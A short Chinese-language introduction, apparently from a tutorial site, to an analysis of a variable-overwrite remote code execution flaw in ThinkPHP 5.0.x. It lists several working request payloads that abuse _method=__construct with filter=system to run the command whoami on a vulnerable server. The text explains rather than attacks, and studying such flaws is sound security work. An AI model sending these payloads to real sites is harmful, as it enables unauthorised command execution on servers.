本文共计4079个文字，预计阅读时间需要17分钟。

以下是对原内容的简化

由ThinkPHP教程栏目为您介绍ThinkPHP5.0.X版本变量覆盖导致的RCE分析，希望能对需要的朋友有所帮助！简介：主要是遇到一些ThinkPHP5.0.X的站点，网上搜索到的漏洞利用payload有好几种。

下面由thinkphp教程栏目给大家介绍thinkphp5.0.X全版本变量覆盖导致的RCE分析，希望对需要的朋友有所帮助！

简介

总是碰到一些thinkphp5.0.X的站点，网上搜索漏洞利用payload会有好几种，变量覆盖导致的远程代码执行，不同小版本之间会有些差别，比如下面几种。

_method=__construct&filter=system&a=whoami _method=__construct&filter=system&a=whoami&method=GET _method=__construct&filter=system&get[]=whoami ...

payload虽没错，但是用得我挺懵，不知所以然。